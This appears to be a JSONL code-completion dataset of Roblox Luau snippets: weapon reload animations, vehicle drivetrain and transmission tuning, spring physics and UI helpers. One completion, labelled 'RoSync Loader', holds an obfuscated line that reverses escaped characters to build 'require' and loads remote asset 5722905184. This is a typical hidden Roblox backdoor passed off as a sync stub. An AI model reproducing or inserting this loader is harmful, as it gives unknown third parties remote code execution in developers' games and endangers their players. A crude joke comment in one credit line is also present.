CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.3)\t\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\t\n\t\t\tlocal MagC = objs[5]:WaitForChild(\"Mag\"):clone()\n\t\t\t\tobjs[5].Mag.Transparency = 1\n\t\t\t\tMagC.Parent = objs[5]\n\t\t\t\tMagC.Name = \"MagC\"\n\t\t\t\tMagC.Transparency = 0\n\t\t\t\n\t\t\tlocal MagCW = Instance.new(\"Motor6D\")\n\t\t\t\tMagCW.Part0 = MagC\n\t\t\t\tMagCW.Part1 = objs[3].Parent.Parent:WaitForChild(\"Left Arm\")\n\t\t\t\tMagCW.Parent = MagC\n\t\t\t\tMagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)\n\t\t\t\t\n\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\twait(0.3)\t\t\t\t\n\t\t\tts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()\n\t\t\twait(0.75)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\n\t\t\tif (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then\n\t\t\t\tobjs[7].Value = objs[7].Value + objs[6].Value\n\t\t\t\tobjs[6].Value = 0\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\n\t\t\telseif objs[7].Value <= 0 then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\t\tobjs[9] = false\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1\n\t\t\t\t--objs[10].Recarregar:FireServer(objs[6].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo + 1\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\tend\n\t\t\twait(0.55)\n\t\tend;\n"} +{"prompt": "-- System Configuration", "completion": "\nVisualUntilReset = true\nTwoStage = false\nFirstStageTime = 300"} +{"prompt": "-- Feel free to delete this script if you would like to put\n-- these items in their homes yourself \ud83c\udfe0", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal ServerScriptService = game:GetService(\"ServerScriptService\")\nlocal StarterGui = game:GetService(\"StarterGui\")\n\nscript.Parent.FormModules.Parent = ReplicatedStorage\nscript.Parent.FormService.Parent = ServerScriptService\nscript.Parent.FormGui.Parent = StarterGui\n"} +{"prompt": "----- MAGIC NUMBERS ABOUT THE TOOL -----\n-- How much damage a bullet does", "completion": "\nlocal Damage = 28"} +{"prompt": "-- Functions", "completion": "\n\nfunction SPRING.Create(self, mass, force, damping, speed)\n\tlocal spring\t= {\n\t\tTarget\t\t= Vector3.new();\n\t\tPosition\t= Vector3.new();\n\t\tVelocity\t= Vector3.new();\n\t\t\n\t\tMass\t\t= mass or 1;\n\t\tForce\t\t= force or 50;\n\t\tDamping\t\t= damping or 2;\n\t\tSpeed\t\t= speed or 1;\n\t}\n\t\n\tfunction spring.Shove(self, force)\n\t\tlocal x, y, z\t= force.X, force.Y, force.Z\n\t\tif x ~= x or x == math.huge or x == -math.huge then\n\t\t\tx\t= 0\n\t\tend\n\t\tif y ~= y or y == math.huge or y == -math.huge then\n\t\t\ty\t= 0\n\t\tend\n\t\tif z ~= z or z == math.huge or z == -math.huge then\n\t\t\tz\t= 0\n\t\tend\n\t\tself.Velocity\t= self.Velocity + Vector3.new(x, y, z)\n\tend\n\t\n\tfunction spring.Update(self, dt)\n\t\tlocal scaledDeltaTime\t= math.min(dt * self.Speed, 0.1) / ITERATIONS\n\t\t\n\t\tfor i = 1, ITERATIONS do\n\t\t\tlocal force\t\t\t= self.Target - self.Position\n\t\t\tlocal acceleration\t= (force * self.Force) / self.Mass\n\t\t\t\n\t\t\tacceleration\t\t= acceleration - self.Velocity * self.Damping\n\t\t\t\n\t\t\tself.Velocity\t= self.Velocity + acceleration * scaledDeltaTime\n\t\t\tself.Position\t= self.Position + self.Velocity * scaledDeltaTime\n\t\tend\n\t\t\n\t\treturn self.Position\n\tend\n\t\n\treturn spring\nend\n"} +{"prompt": "--[[ Private Functions ]]", "completion": "--\nlocal function getVehicleMotors()\n\tlocal motors = {}\n\tfor _, c in pairs(constraints:GetChildren()) do\n\t\tif c:IsA(\"CylindricalConstraint\") then\n\t\t\ttable.insert(motors, c)\n\t\tend\n\tend\n\treturn motors\nend\n\nlocal function getSprings(springType)\n\tlocal springs = {}\n\tlocal trailer = PackagedVehicle:FindFirstChild(\"Trailer\")\n\n\tlocal function search(children)\n\t\tlocal searchStrutSpring = \"StrutSpring\"\n\t\tlocal searchFrontSpring = \"StrutSpringF\"\n\t\tlocal searchTorsionSpring = \"TorsionBarSpring\"\n\t\tfor _, c in pairs(children) do\n\t\t\tif c:IsA(\"SpringConstraint\") then\n\t\t\t\tif springType == \"StrutFront\" then\n\t\t\t\t\tif string.find(c.Name, searchFrontSpring) then\n\t\t\t\t\t\ttable.insert(springs, c)\n\t\t\t\t\tend\n\t\t\t\telseif springType == \"StrutRear\" then\n\t\t\t\t\tif (not string.find(c.Name, searchFrontSpring)) and string.find(c.Name, searchStrutSpring) then\n\t\t\t\t\t\ttable.insert(springs, c) -- we have option of Mid and Rear for these\n\t\t\t\t\tend\n\t\t\t\telseif springType == \"TorsionBar\" then\n\t\t\t\t\tif string.find(c.Name, searchTorsionSpring) then\n\t\t\t\t\t\ttable.insert(springs, c)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tsearch(constraints:GetChildren())\n\tif trailer then\n\t\tsearch(trailer.Constraints:GetChildren())\n\tend\n\n\treturn springs\nend\n\nlocal function getMotorVelocity(motor)\n\treturn motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity )\nend\n\nlocal function adjustSpring( spring, stiffness, damping )\n\tspring.Stiffness = stiffness\n\tspring.Damping = damping\nend\n\nlocal function setMotorTorque(torque)\n\tfor _, motor in pairs(Motors) do\t\t\n\t\tmotor.MotorMaxTorque = torque\n\tend\nend\n\nlocal function setMotorTorqueDamped(torque, velocityDirection, accelDirection)\n\tfor _, motor in pairs(Motors) do\n\t\tif VehicleParameters.MaxSpeed == 0 then \n\t\t\tmotor.MotorMaxTorque = 0\n\t\telse\n\t\t\tlocal maxSpeed = VehicleParameters.MaxSpeed\n\t\t\tif accelDirection < 0 and velocityDirection < 0 then\n\t\t\t\tmaxSpeed = VehicleParameters.ReverseSpeed\n\t\t\tend\n\n\t\t\tlocal r = math.abs(Chassis.driverSeat.Velocity.Magnitude / maxSpeed)\n\t\t\tmotor.MotorMaxTorque = math.exp( -3 * r * r ) * torque\n\t\tend\n\tend\nend\n\nlocal function setMotorMaxAcceleration(acceleration)\n\tfor _, motor in pairs(Motors) do\n\t\tmotor.MotorMaxAngularAcceleration = acceleration\n\tend\nend\n"} +{"prompt": "--[[\n\nfunction newSound(id)\n\tlocal sound = Instance.new(\"Sound\")\n\tsound.SoundId = id\n\tsound.Parent = script.Parent.Head\n\treturn sound\nend\n\n\nlocal sDied = newSound(\"rbxasset://sounds/uuhhh.wav\")\nlocal sFallingDown = newSound(\"rbxasset://sounds/splat.wav\")\nlocal sFreeFalling = newSound(\"rbxasset://sounds/swoosh.wav\")\nlocal sGettingUp = newSound(\"rbxasset://sounds/hit.wav\")\nlocal sJumping = newSound(\"rbxasset://sounds/button.wav\")\nlocal sRunning = newSound(\"rbxasset://sounds/bfsl-minifigfoots1.mp3\")\nsRunning.Looped = true\n\nlocal Figure = script.Parent\nlocal Head = waitForChild(Figure, \"Head\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\n\n\nfunction onDied()\n\tsDied:play()\nend\n\nfunction onState(state, sound)\n\tif state then\n\t\tsound:play()\n\telse\n\t\tsound:pause()\n\tend\nend\n\nfunction onRunning(speed)\n\tif speed>0 then\n\t\tsRunning:play()\n\telse\n\t\tsRunning:pause()\n\tend\nend\n\n\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(function(state) onState(state, sJumping) end)\nHumanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end)\nHumanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end)\nHumanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end)\n--]]", "completion": "\n\nlocal nextTime = 0\nlocal runService = game:service(\"RunService\");\n\nwhile Figure.Parent~=nil do\n\ttime = runService.Stepped:wait()\n\tif time > nextTime then\n\t\tmove(time)\n\t\tnextTime = time + 0.1\n\tend\nend\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 33\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 33\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .05\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 150\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 50000\t -- Steering Aggressiveness\n\t"} +{"prompt": "-- << SETTINGS >>", "completion": "\nSettings={\n\t-- \n\tPrefix\t\t\t=\";\" ;\t\t\t-- The character used to begin each command\n\t\n\t-- \n\tOwnerChatColour = \"y\" ;\t\t\t--w/r/g/b/p/y OR white/red/green/blue/purple/yellow\n\n\t-- **Please keep enabled to help support the development of HD Admin Commands**\n\tDonorItem \t\t= false ;\n\tDonorItemId \t= 10472779 ;\n\tDonorCommands \t= false ;\n\t\n\t-- \n\tCmdBar\t\t\t= true ;\t\t-- Enabled/disales the cmdbar - press @ to open the cmdbar\n\tHDIcon\t\t\t= false ;\t\t-- The HD Icon in the corner of screen (helps support the development HD Admin Commands)\n\tAutoPrompt\t\t= false ;\t\t-- This prompts all players to take a free copy of the model. Set to 'false' to disable.\n\tFreeAdmin\t\t= false ;\t\t-- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = \"VIP\" '. Set to False if not. You can not set to 'Owner'.\n\tNoticeSound\t\t= 261082034 ;\t-- Notification sound ID\n\tNoticeSoundVol\t= 0.5 ;\t\t\t-- How loud the notification sound is. Must be between 0 and 1.\n\tErrorSound\t\t= 138090596 ;\t-- Error sound ID\n\tErrorSoundVol\t= 0.5 ;\t\t\t-- How loud the error sound is. Must be between 0 and 1.\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;\n\n"} +{"prompt": "--[[ Last synced 12/13/2020 04:05 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "-- Make all the Hotbar Slots", "completion": "\nfor i = 1, NumberOfHotbarSlots do\n\tlocal slot = MakeSlot(HotbarFrame, i)\n\tslot.Frame.Visible = false\n\n\tif not LowestEmptySlot then\n\t\tLowestEmptySlot = slot\n\tend\nend\n\nInventoryIcon.selected:Connect(function()\n\tif not GuiService.MenuIsOpen then\n\t\tBackpackScript.OpenClose()\n\tend\nend)\nInventoryIcon.deselected:Connect(function()\n\tif InventoryFrame.Visible then\n\t\tBackpackScript.OpenClose()\n\tend\nend)\n\nLeftBumperButton = NewGui('ImageLabel', 'LeftBumper')\nLeftBumperButton.Size = UDim2.new(0, 40, 0, 40)\nLeftBumperButton.Position = UDim2.new(0, -LeftBumperButton.Size.X.Offset, 0.5, -LeftBumperButton.Size.Y.Offset/2)\n\nRightBumperButton = NewGui('ImageLabel', 'RightBumper')\nRightBumperButton.Size = UDim2.new(0, 40, 0, 40)\nRightBumperButton.Position = UDim2.new(1, 0, 0.5, -RightBumperButton.Size.Y.Offset/2)\n"} +{"prompt": "--[[\n\tContains markers for annotating the type of an element.\n\n\tUse `ElementKind` as a key, and values from it as the value.\n\n\t\tlocal element = {\n\t\t\t[ElementKind] = ElementKind.Host,\n\t\t}\n]]", "completion": "\n\nlocal Symbol = require(script.Parent.Symbol)\nlocal strict = require(script.Parent.strict)\nlocal Portal = require(script.Parent.Portal)\n\nlocal ElementKind = newproxy(true)\n\nlocal ElementKindInternal = {\n\tPortal = Symbol.named(\"Portal\"),\n\tHost = Symbol.named(\"Host\"),\n\tFunction = Symbol.named(\"Function\"),\n\tStateful = Symbol.named(\"Stateful\"),\n\tFragment = Symbol.named(\"Fragment\"),\n}\n\nfunction ElementKindInternal.of(value)\n\tif typeof(value) ~= \"table\" then\n\t\treturn nil\n\tend\n\n\treturn value[ElementKind]\nend\n\nlocal componentTypesToKinds = {\n\t[\"string\"] = ElementKindInternal.Host,\n\t[\"function\"] = ElementKindInternal.Function,\n\t[\"table\"] = ElementKindInternal.Stateful,\n}\n\nfunction ElementKindInternal.fromComponent(component)\n\tif component == Portal then\n\t\treturn ElementKind.Portal\n\telse\n\t\treturn componentTypesToKinds[typeof(component)]\n\tend\nend\n\ngetmetatable(ElementKind).__index = ElementKindInternal\n\nstrict(ElementKindInternal, \"ElementKind\")\n\nreturn ElementKind\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\tcurrentAnim = \"\"\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then"} +{"prompt": "-- Applies a nonlinear transform to the thumbstick position to serve as the acceleration for camera rotation.\n-- See https://www.desmos.com/calculator/xw2ytjpzco for a visual reference.", "completion": "\nlocal function gamepadLinearToCurve(thumbstickPosition)\n\treturn Vector2.new(\n\t\tmath.clamp(math.sign(thumbstickPosition.X) * fromSCurveSpace(SCurveTransform(toSCurveSpace(math.abs(thumbstickPosition.X)))), -1, 1),\n\t\tmath.clamp(math.sign(thumbstickPosition.Y) * fromSCurveSpace(SCurveTransform(toSCurveSpace(math.abs(thumbstickPosition.Y)))), -1, 1))\nend\n\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"AWD\"\t\t-- \"FWD\" , \"RWD\" , \"AWD\"\n\tTune.TorqueVector\t= 0\t\t\t-- AWD ONLY, \"-1\" has a 100% front bias, \"0\" has a 50:50 bias, and \"1\" has a 100% rear bias. Can be any number between that range.\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 80\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 20\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 20\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "--[[\nTheNexusAvenger\n\nSets up controller groups to prevent Guis interfering with each other.\nThe code is from Ultimate Boxing.\n--]]", "completion": "\n\nlocal ControllerGroups = {}\nlocal ActiveControllerGroups = {}\nlocal ActivePriorityControllerGroups = {}\n\nlocal GuiService = game:GetService(\"GuiService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\n\nlocal LastFrame,LastActiveGroup\n\n\n"} +{"prompt": "-- returns 0 <= angle' < TAU such that rotation(angle') == rotation(angle)", "completion": "\nfunction MathUtils:AngleAbs(angle)\n return angle%TAU\nend\n"} +{"prompt": "------ Programmed by BuildIntoGames; Removing this line will kill 5 children", "completion": "\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.Clutch\t\t\t= true\t\t-- Implements a realistic clutch, change to \"false\" for the chassis to act like AC6.81T.\n\n\tTune.TransModes\t\t= {\"Auto\",\"Semi\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\tTune.ClutchMode\t\t= \"New\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"New\"\t\t: Speed controls clutch engagement\t\t\t(AC6C V1.2)\n\t\t\"Old\"\t\t: Speed and RPM control clutch engagement\t(AC6C V1.1)\t\t]]\n\t\n\tTune.ClutchType \t= \"Clutch\"\t\t\t\t\t\t\t\t\t\t--[[\n\t[Types]\n\t\t\"Clutch\"\t\t\t: Standard clutch, recommended\n\t\t\"TorqueConverter\"\t: Torque converter, keeps RPM up\n\t\t\"CVT\"\t\t\t\t: CVT, found in scooters\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]] \n\t--[[Transmission]]\n\t--Transmission Settings\n\tTune.Stall\t\t\t= true\t\t-- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.\n\tTune.ClutchRel\t\t= false\t\t-- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners.\n\tTune.ClutchEngage\t= 10\t\t-- How fast engagement is (0 = instant, 99 = super slow)\t\n\tTune.SpeedEngage \t= 20\t\t-- Speed the clutch fully engages at (Based on SPS) \n\t\n\tTune.ClutchKick\t\t\t= true\t-- (LuaInt)\n\tTune.KickMult\t\t\t= 15\t-- Torque multiplier on launch\n\tTune.KickSpeedThreshold = 40\t-- Speed limit on launch (SPS)\n\tTune.KickRPMThreshold \t= 1000\t-- RPM limit on launch, range is created below redline\n\t\n\t--Clutch: \"Old\" mode\n\tTune.ClutchRPMMult\t= 1.0\t\t-- Clutch RPM multiplier, recommended to leave at 1.0\n\t\n\t--Torque Converter:\n\tTune.TQLock \t\t= false\t\t-- Torque converter starts locking at a certain RPM\n\t\n\t--Torque Converter and CVT:\n\tTune.RPMEngage \t\t= 3500\t\t-- Keeps RPMs to this level until passed\n\t\n\t--Neutral Rev Limiter (Avxnturador)\n\tTune.NeutralLimit\t= false\t\t-- Enables a different redline RPM for when the car is in neutral\n\tTune.NeutralRevRPM\t= 5000\t\t-- The rev limiter when the car is in neutral\n\tTune.LimitClutch\t= false\t\t-- Will also limit RPMs while the clutch is pressed down\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoShiftType\t= \"DCT\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Types]\n\t\t\"Rev\"\t\t: Clutch engages fully once RPM reached\t\t\t(AC6C V1)\n\t\t\"DCT\"\t\t: Clutch engages after a set time has passed\t(AC6.81T)\t]]\n\tTune.AutoShiftVers\t= \"New\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Versions]\n\t\t\"New\"\t\t: Shift from Reverse, Neutral, and Drive\t\t(AC6.81T)\n\t\t\"Old\"\t\t: Auto shifts into R or D when stopped.\t\t\t(AC6.52S2)\t]]\n\tTune.AutoUpThresh\t= -200\t\t-- Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t-- Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Automatic: Revmatching\n\tTune.ShiftThrot\t\t= 100\t\t-- Throttle level when shifting down to revmatch, 0 - 100%\n\t\n\t--Automatic: DCT\n\tTune.ShiftUpTime\t= 0.25\t\t-- Time required to shift into next gear, from a lower gear to a higher one.\n\tTune.ShiftDnTime\t= 0.125\t\t-- Time required to shift into next gear, from a higher gear to a lower one.\n\t\n\t--Gear Ratios\n\t\n\tTune.FinalDrive\t\t= 3.545\n\tTune.Ratios\t\t\t= {\n\t\t--[[Reverse]]\t3.28\t\t,\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t3.827\t\t,\n\t\t--[[ 2 ]]\t\t2.36\t\t,\n\t\t--[[ 3 ]]\t\t1.685\t\t,\n\t\t--[[ 4 ]]\t\t1.313\t\t,\n\t\t--[[ 5 ]]\t\t1\t\t\t,\n\t\t--[[ 6 ]]\t\t.793\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (keep this at 1 if car is not struggling with torque)\n\t"} +{"prompt": "-- local upVector2 = rightVector:Cross(forwardVector)", "completion": "\n return CFrame.fromMatrix(eye, rightVector, upVector) -- upVector2 - \u0434\u043b\u044f \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0438\nend\n"} +{"prompt": "-- Number of bullets in a clip", "completion": "\nlocal ClipSize = 1700"} +{"prompt": "--GoPro Hero 4 By RikOne2@InSpare", "completion": "\ngame:GetService(\"RunService\").RenderStepped:connect(function()\n\t\tcam.CameraSubject=Cam.Value\n\t\tcam.CameraType=(\"Scriptable\")\n\t\tcam.CoordinateFrame = Cam.Value:GetRenderCFrame()\n\t \tplayer.CameraMaxZoomDistance=0\n\t\tcam.FieldOfView = 90\nend)\n\nscript.Parent.Parent.MouseButton1Click:connect(function()\ncam.CameraType = (\"Custom\")\ncam.CameraSubject=player.Character.Humanoid\nplayer.CameraMaxZoomDistance=300\ncam.FieldOfView = 70\nscript.Parent.Parent.Parent:Destroy()\nend)\n\nwhile wait() do\n\tif player.Character.Humanoid.Health == 0 then\n\t\tcam.CameraType = (\"Custom\")\ncam.CameraSubject=player.Character.Humanoid\nplayer.CameraMaxZoomDistance=300\ncam.FieldOfView = 70\nscript.Parent.Parent.Parent:Destroy()\n\tend\nend\n"} +{"prompt": "-- A CFrame that's really far away. Ideally. You are free to change this as needed.", "completion": "\nlocal CF_REALLY_FAR_AWAY = CFrame.new(0, 10e8, 0)\n"} +{"prompt": "--[=[\n\t@within Shake\n\t@type UpdateCallbackFn () -> (position: Vector3, rotation: Vector3, completed: boolean)\n]=]", "completion": "\ntype UpdateCallbackFn = () -> (Vector3, Vector3, boolean)\n\nlocal RunService = game:GetService(\"RunService\")\n\nlocal Trove = require(script.Parent.Trove)\n\n\nlocal rng = Random.new()\nlocal renderId = 0\n\n"} +{"prompt": "--now, create the functor:", "completion": "\nCreate = setmetatable({}, {__call = function(tb, ...) return Create_PrivImpl(...) end})\n"} +{"prompt": "--!strict", "completion": "\nlocal Array = require(script.Array)\nlocal AssertionError = require(script.AssertionError)\nlocal Error = require(script.Error)\nlocal mapModule = require(script.Map)\nlocal Object = require(script.Object)\nlocal PromiseModule = require(script.Promise)\nlocal Set = require(script.Set)\nlocal Symbol = require(script.Symbol)\nlocal Timers = require(script.Timers)\nlocal WeakMap = require(script.WeakMap)\n\nexport type Array = Array.Array\nexport type AssertionError = AssertionError.AssertionError\nexport type Error = Error.Error\nexport type Map = mapModule.Map\nexport type Object = Object.Object\n\nexport type PromiseLike = PromiseModule.PromiseLike\nexport type Promise = PromiseModule.Promise\n\nexport type Set = Set.Set\nexport type Symbol = Symbol.Symbol\nexport type Timeout = Timers.Timeout\nexport type Interval = Timers.Interval\nexport type WeakMap = WeakMap.WeakMap\n\nreturn {\n\tArray = Array,\n\tAssertionError = AssertionError,\n\tBoolean = require(script.Boolean),\n\tconsole = require(script.console),\n\tError = Error,\n\textends = require(script.extends),\n\tinstanceof = require(script.instanceof),\n\tMath = require(script.Math),\n\tNumber = require(script.Number),\n\tObject = Object,\n\tMap = mapModule.Map,\n\tcoerceToMap = mapModule.coerceToMap,\n\tcoerceToTable = mapModule.coerceToTable,\n\tSet = Set,\n\tWeakMap = WeakMap,\n\tString = require(script.String),\n\tSymbol = Symbol,\n\tsetTimeout = Timers.setTimeout,\n\tclearTimeout = Timers.clearTimeout,\n\tsetInterval = Timers.setInterval,\n\tclearInterval = Timers.clearInterval,\n\tutil = require(script.util),\n}\n"} +{"prompt": "--[[**\n\t\tcreates a union type\n\n\t\t@param ... The checks to union\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]", "completion": "\n\tfunction t.union(...)\n\t\tlocal checks = { ... }\n\t\tassert(callbackArray(checks))\n\n\t\treturn function(value)\n\t\t\tfor _, check in ipairs(checks) do\n\t\t\t\tif check(value) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn false, \"bad type for union\"\n\t\tend\n\tend\n"} +{"prompt": "-- Setup Remote Events", "completion": "\nlocal function createEvent(eventName)\n\tlocal event = game.ReplicatedStorage:FindFirstChild(eventName)\n\tif not event then\n\t\tevent = Instance.new(\"RemoteEvent\", game.ReplicatedStorage)\n\t\tevent.Name = eventName\n\tend\n\treturn event\nend\nlocal updateEvent = createEvent(\"ROBLOX_PistolUpdateEvent\")\nlocal equipEvent = createEvent(\"ROBLOX_PistolEquipEvent\")\nlocal unequipEvent = createEvent(\"ROBLOX_PistolUnequipEvent\")\nlocal fireEvent = createEvent(\"ROBLOX_PistolFireEvent\")\nlocal reloadEvent = createEvent(\"ROBLOX_PistolReloadEvent\")\n"} +{"prompt": "-- Waits for parent.child to exist, then returns it", "completion": "\nlocal function WaitForChild(parent, childName)\n\tassert(parent, \"ERROR: WaitForChild: parent is nil\")\n\twhile not parent:FindFirstChild(childName) do print(child) wait(1/30) end\n\treturn parent[childName]\nend\n"} +{"prompt": "----- MAGIC NUMBERS ABOUT THE TOOL -----\n-- How much damage a bullet does", "completion": "\nlocal Damage = 6"} +{"prompt": "-- The currently idle thread to run the next handler on", "completion": "\nlocal freeRunnerThread = nil\n"} +{"prompt": "--- LED script by Telamon. Direct questions to the creations forum. ", "completion": "\n\nlocal d = script.Parent\n"} +{"prompt": "--[=[\n\t@return string\n\tReturns a unique render name for every call, which can\n\tbe used with the `BindToRenderStep` method optionally.\n\n\t```lua\n\tshake:BindToRenderStep(Shake.NextRenderName(), ...)\n\t```\n]=]", "completion": "\nfunction Shake.NextRenderName(): string\n\trenderId += 1\n\treturn (\"__shake_%.4i__\"):format(renderId)\nend\n\n"} +{"prompt": "--Internal interface", "completion": "\nlocal function OnInputEnded(self)\n\t--Reset button\n\tself.button.ImageColor3 = released_col\n\tif not self.enabled then\n\t\tself.button.Active = false\n\tend\n\n\t--Reset input state\n\tself.pressed = false\n\tself.move_touch_input = nil\nend\n"} +{"prompt": "--print(animName .. \" * \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\nlocal anim = 